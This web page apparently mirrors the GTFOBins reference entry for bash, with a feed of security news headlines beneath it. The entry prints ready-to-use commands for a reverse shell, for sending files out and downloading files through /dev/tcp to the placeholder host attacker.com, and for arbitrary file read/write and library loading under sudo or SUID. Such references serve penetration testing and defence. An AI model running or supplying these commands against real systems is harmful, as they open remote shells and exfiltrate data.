Ir al contenido
root@defcon-rd // ./arsenal/gtfobins/bash

bash

/ binary
bash
/ functions
7
/ contexts
3
/ aliases
./bash --examples

Funciones y ejemplos de uso

download

sudo suid unprivileged
bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/attacker.com/12345 \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'
sudo suid unprivileged
bash -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'

file-read

sudo suid unprivileged
bash -c 'echo "$(</path/to/input-file)"'
sudo suid unprivileged
HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
history

file-write

sudo suid unprivileged
bash -c 'echo DATA >/path/to/output-file'
sudo suid unprivileged
HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-file

library-load

sudo suid unprivileged
bash -c 'enable -f /path/to/lib.so x'

reverse-shell

sudo suid unprivileged
bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'

shell

sudo suid unprivileged
bash

upload

sudo suid unprivileged
bash -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
sudo suid unprivileged
bash -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
./related --binary=bash

Binarios relacionados

Comparten al menos una función con bash.

CYBER ALERT
The Hacker News :: RedWing MaaS Packages Android Bank Fraud as a Telegram Rental Service The Hacker News :: Rogue Agent Flaw Could Have Let Attackers Hijack Google Dialogflow CX Chatbots The Hacker News :: DEBULL Tooling Abuses Microsoft Device-Code Flow to Target M365 Accounts The Hacker News :: Public GitHub Issue Could Trick GitHub Agentic Workflows Into Leaking Private Repo Data The Hacker News :: Court Filing Reveals Windows Device ID Helped FBI Trace Alleged Scattered Spider Hacker The Hacker News :: Writer AI Flaw Could Let Agent Previews Leak Session Tokens Across Tenants SANS ISC :: More Odd DNS Records: NIMLOC, (Tue, Jul 7th) The Hacker News :: What Changes When Your Software Supply Chain Includes AI Writing Your Code? InfoSecurity Magazine :: Suspected Chinese Threat Group Targets Universities via Vulnerable Roundcube Servers The Hacker News :: Suspected China-Aligned Hackers Exploit Roundcube Flaws Against Universities InfoSecurity Magazine :: Scattered Spider’s Structure More Like a Cybercrime Collective Than a Unified Gang The Hacker News :: CERT/CC Warns of Hidden Admin Backdoor in Tenda Router Firmware The Hacker News :: BeyondTrust Patches Critical Auth Bypass Flaws in Remote Support and PRA InfoSecurity Magazine :: UK Government Launches Cyber Resilience Pledge, Claiming 60+ Signatories InfoSecurity Magazine :: Hackers Exploit Maximum Severity Adobe ColdFusion Flaw InfoSecurity Magazine :: Phishing Attacks Targeted Facebook Users With Fake Verification Offer SANS ISC :: ISC Stormcast For Tuesday, July 7th, 2026 https://isc.sans.edu/podcastdetail/9996, (Tue, Jul 7th) The Hacker News :: Iran-Linked Hackers Use New Cavern C2 Framework to Target Israeli Organizations The Hacker News :: 16-Year-Old Linux KVM Flaw Lets Guest VMs Escape to Host on Intel and AMD x86 Systems The Hacker News :: Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure